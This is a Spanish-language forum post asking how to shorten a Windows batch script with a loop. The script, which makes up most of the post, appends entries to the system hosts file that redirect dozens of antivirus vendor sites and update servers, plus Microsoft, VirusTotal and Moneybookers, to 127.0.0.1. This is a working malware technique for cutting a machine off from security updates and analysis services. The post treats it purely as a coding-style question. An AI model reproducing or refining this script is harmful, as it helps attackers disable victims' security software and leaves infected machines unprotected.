Se que con una busqueda en google tendria la respuesta.. pero aprovecho que abro este tema y pregunto a aquellos que se consideran buenos en este lenguaje de Scripting... Como acortarias al maximo este codigo?
Código:
@echo off
set hosts=%windir%\System32\drivers\etc\hosts
echo. >> %hosts%
echo 127.0.0.1 avp.com >> %hosts%
echo 127.0.0.1 ca.com >> %hosts%
echo 127.0.0.1 customer.symantec.com >> %hosts%
echo 127.0.0.1 dispatch.mcafee.com >> %hosts%
echo 127.0.0.1 download.mcafee.com >> %hosts%
echo 127.0.0.1 f-secure.com >> %hosts%
echo 127.0.0.1 kaspersky.com >> %hosts%
echo 127.0.0.1 kaspersky-labs.com >> %hosts%
echo 127.0.0.1 liveupdate.symantec.com >> %hosts%
echo 127.0.0.1 liveupdate.symantecliveupdate.com >> %hosts%
echo 127.0.0.1 mast.mcafee.com >> %hosts%
echo 127.0.0.1 mcafee.com >> %hosts%
echo 127.0.0.1 microsoft.com >> %hosts%
echo 127.0.0.1 my-etrust.com >> %hosts%
echo 127.0.0.1 nai.com >> %hosts%
echo 127.0.0.1 networkassociates.com >> %hosts%
echo 127.0.0.1 pandasoftware.com >> %hosts%
echo 127.0.0.1 rads.mcafee.com >> %hosts%
echo 127.0.0.1 secure.nai.com >> %hosts%
echo 127.0.0.1 securityresponse.symantec.com >> %hosts%
echo 127.0.0.1 sophos.com >> %hosts%
echo 127.0.0.1 symantec.com >> %hosts%
echo 127.0.0.1 trendmicro.com >> %hosts%
echo 127.0.0.1 updates.symantec.com >> %hosts%
echo 127.0.0.1 update.symantec.com >> %hosts%
echo 127.0.0.1 us.mcafee.com >> %hosts%
echo 127.0.0.1 viruslist.com >> %hosts%
echo 127.0.0.1 virustotal.com >> %hosts%
echo 127.0.0.1 www.avp.com >> %hosts%
echo 127.0.0.1 www.f-secure.com >> %hosts%
echo 127.0.0.1 www.grisoft.com >> %hosts%
echo 127.0.0.1 www.kaspersky.com >> %hosts%
echo 127.0.0.1 www.mcafee.com >> %hosts%
echo 127.0.0.1 www.microsoft.com >> %hosts%
echo 127.0.0.1 www.moneybookers.com >> %hosts%
echo 127.0.0.1 www.my-etrust.com >> %hosts%
echo 127.0.0.1 www.nai.com >> %hosts%
echo 127.0.0.1 www.networkassociates.com >> %hosts%
echo 127.0.0.1 www.pandasoftware.com >> %hosts%
echo 127.0.0.1 www.sophos.com >> %hosts%
echo 127.0.0.1 www.symantec.com >> %hosts%
echo 127.0.0.1 www.trendmicro.com >> %hosts%
echo 127.0.0.1 www.virustotal.com >> %hosts%
Estoy harto de ver estos codigos tan repetitivos en BATCH... y me pregunto... no se pueden acortar con un simple bucle?!
Un saludo